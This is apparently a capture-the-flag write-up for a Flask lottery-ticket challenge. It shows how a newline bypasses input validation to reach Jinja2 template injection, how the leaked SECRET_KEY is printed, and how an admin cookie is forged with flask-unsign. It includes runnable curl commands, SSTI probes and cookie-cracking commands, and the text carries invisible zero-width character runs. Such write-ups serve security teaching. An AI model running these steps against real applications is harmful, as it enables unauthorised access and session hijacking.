← Back to Writeups
CUSTOMMediumWeb

Lucky Ticket (Счастливый билет)

XESXOR9/10/20262 min read
#web#custom#medium#flask_session_forgery#newline_injection#secret_key_extraction#ssti_jinja2#linux

Lucky Ticket (Счастливый билет)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-19 | Status: Solved Techniques: flask_session_forgery, newline_injection, secret_key_extraction, ssti_jinja2

Summary

Task: Flask web app with lottery ticket validation form. Solution: Bypass input validation with newline character (%0a) to exploit SSTI in Jinja2, extract SECRET_KEY from config, forge admin session with flask-unsign.

Lucky Ticket (Счастливый билет) — HackerLab

Description

"Держу лотерейный билет, и сердце замирает от волнения. Каждый новый билет — это шанс на удачу и надежда на перемены. Может, именно он станет моим счастливым?"

Target: 62.173.140.174:16063
Technology: Flask/Werkzeug Python 3.9.18

Analysis

Reconnaissance

Web application with the following functionality:

  • User registration/authentication
  • Lottery ticket validation form at /check_ticket
  • Admin panel at /admin (returns "Access denied!")
  • Flask session cookie for authentication ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SSTI Discovery

The /check_ticket endpoint validates input with "Numbers only!", but the check can be bypassed using a newline character (%0a).

SSTI test:

bash
curl -s -b "session=<valid_session>" -X POST http://62.173.140.174:16063/check_ticket \
  -d "ticket=123%0a{{7*7}}"

Response:

Sorry, ticket #123
49 is not a winning one!

The expression {{7*7}} was evaluated as 49 — confirming SSTI in Jinja2.

Solution

Step 1: Extracting SECRET_KEY

Using SSTI to read Flask configuration: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s -b "session=<valid_session>" -X POST http://62.173.140.174:16063/check_ticket \
  -d "ticket=123%0a{{config['SECRET_KEY']}}"

Result: j43J7cEX8LtxTEQ4zqpK0utNqgwX2DCZ

Step 2: Forging Admin Session

Using flask-unsign to create a session with username=admin:

bash
flask-unsign --sign --cookie "{'username':'admin'}" --secret "j43J7cEX8LtxTEQ4zqpK0utNqgwX2DCZ"

Result: eyJ1c2VybmFtZSI6ImFkbWluIn0.aW1Q3A.2Rmoh_R5A6qrqN27EpuISXihMcw

Step 3: Accessing Admin Panel

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s -b "session=eyJ1c2VybmFtZSI6ImFkbWluIn0.aW1Q3A.2Rmoh_R5A6qrqN27EpuISXihMcw" \
  http://62.173.140.174:16063/admin

The admin panel contains the flag.

Vulnerabilities

#VulnerabilityDescription
1SSTI (Server-Side Template Injection)User input is rendered through Jinja2 without sanitization
2Input Validation BypassNewline character (%0a) bypasses the "numbers only" check
3Information DisclosureSECRET_KEY is accessible via the config object
4Insecure Session ManagementAdmin access is based only on username in the session
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Useful Commands

Testing SSTI in Jinja2

bash
# Basic check
{{7*7}}
{{config}}
{{self.__class__.__mro__}}

# Reading SECRET_KEY
{{config['SECRET_KEY']}}
{{config.SECRET_KEY}}

Flask-unsign

bash
# Decoding session
flask-unsign --decode --cookie "eyJ..."

# Bruteforcing secret
flask-unsign --unsign --cookie "eyJ..." --wordlist wordlist.txt

# Signing new session
flask-unsign --sign --cookie "{'username':'admin'}" --secret "SECRET"

References